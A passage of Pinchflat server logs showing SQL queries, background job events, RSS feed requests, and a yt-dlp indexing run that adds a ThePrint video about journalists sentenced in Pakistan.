s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:58:07.390 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1795.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:58:07.392 [debug] QUERY OK source="source_metadata" db=0.4ms queue=0.2ms idle=1639.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:58:07.393 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=798.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:58:07.393 [info] Sent 200 in 6ms 19:58:30.003 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.005 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.859 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:30.008 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.010 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.861 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:30.013 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:39.477 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:00:39.477 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:00:39.479 [debug] QUERY OK source="sources" db=0.4ms idle=1884.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:00:39.560 [debug] QUERY OK source="media_items" db=1.6ms queue=0.2ms idle=1963.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:00:39.563 [debug] QUERY OK source="source_metadata" db=1.0ms idle=1967.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:00:39.565 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.1ms idle=1436.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:00:39.565 [info] Sent 200 in 88ms 20:01:00.015 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.869 [info] {"source":"oban","duration":4987,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:30.017 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:58.769 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:02:00.019 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.872 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:30.022 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.025 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.874 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:01.594 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:03:01.595 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:03:01.597 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=845.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:03:01.599 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=723.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:03:01.601 [debug] QUERY OK source="source_metadata" db=0.2ms idle=6.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:03:01.602 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=7.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:03:01.603 [info] Sent 200 in 9ms 20:03:30.027 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:58.790 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:04:00.029 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.876 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:30.033 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.035 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.877 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:30.038 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.041 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.879 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:22.780 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:06:22.781 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:06:22.784 [debug] QUERY OK source="sources" db=1.6ms idle=1187.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:06:22.786 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1189.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:06:22.787 [debug] QUERY OK source="source_metadata" db=0.2ms idle=424.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:06:22.788 [debug] QUERY OK source="media_metadata" db=0.4ms idle=192.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:06:22.788 [info] Sent 200 in 7ms 20:06:30.046 [info] {"source":"oban","duration":3426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.049 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.881 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:30.052 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:48.461 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:07:48.461 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:07:48.463 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1866.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:07:48.466 [debug] QUERY OK source="media_items" db=2.1ms queue=0.6ms idle=1868.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:07:48.471 [debug] QUERY OK source="source_metadata" db=2.3ms idle=882.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:07:48.476 [debug] QUERY OK source="media_metadata" db=2.3ms queue=2.5ms idle=876.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:07:48.481 [info] Sent 200 in 20ms 20:08:00.055 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.883 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:30.057 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.059 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.885 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:30.061 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:36.951 [info] {"args":{"id":1},"id":94,"meta":{},"system_time":1768075776907466187,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:09:36.953 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1357.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:37.024 [debug] QUERY OK source="settings" db=0.6ms queue=29.4ms idle=1131.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:09:37.026 [debug] QUERY OK source="media_items" db=1.2ms idle=429.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:09:37.027 [debug] QUERY OK source="media_items" db=0.9ms idle=128.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:09:37.030 [debug] QUERY OK source="media_profiles" db=2.2ms idle=121.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:09:37.033 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=79.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:09:37.109 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:09:37.110 [debug] Current batch of media processed. Will check again in 1000ms 20:09:37.110 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=86.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:09:37.111 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=84.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:09:37.113 [debug] QUERY OK source="settings" db=0.9ms idle=84.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:09:37.132 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/78/2f/782f54f300218d713221d2c9425b7a0b07c6ff57b3a11f27a01d72828399f2c9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:09:38.111 [debug] Current batch of media processed. Will check again in 1000ms 20:09:39.113 [debug] Current batch of media processed. Will check again in 1000ms 20:09:40.114 [debug] Current batch of media processed. Will check again in 1000ms 20:09:41.115 [debug] Current batch of media processed. Will check again in 1000ms 20:09:42.116 [debug] Current batch of media processed. Will check again in 1000ms 20:09:43.117 [debug] Current batch of media processed. Will check again in 1000ms 20:09:44.118 [debug] Current batch of media processed. Will check again in 1000ms 20:09:45.119 [debug] Current batch of media processed. Will check again in 1000ms 20:09:46.120 [debug] Current batch of media processed. Will check again in 1000ms 20:09:47.121 [debug] Current batch of media processed. Will check again in 1000ms 20:09:48.122 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 20:09:48.140 [debug] QUERY OK source="sources" db=16.3ms queue=0.1ms idle=1525.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:09:48.143 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1544.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:48.198 [debug] QUERY OK source="media_items" db=31.0ms queue=0.3ms idle=1239.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 20:09:48.214 [debug] QUERY OK source="media_items" db=12.3ms queue=0.4ms idle=603.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "14a840cc-237a-418e-9dae-cddaa81e4d0e", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 20:09:48Z], ~U[2026-01-10 20:09:48Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 20:09:48.218 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=286.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 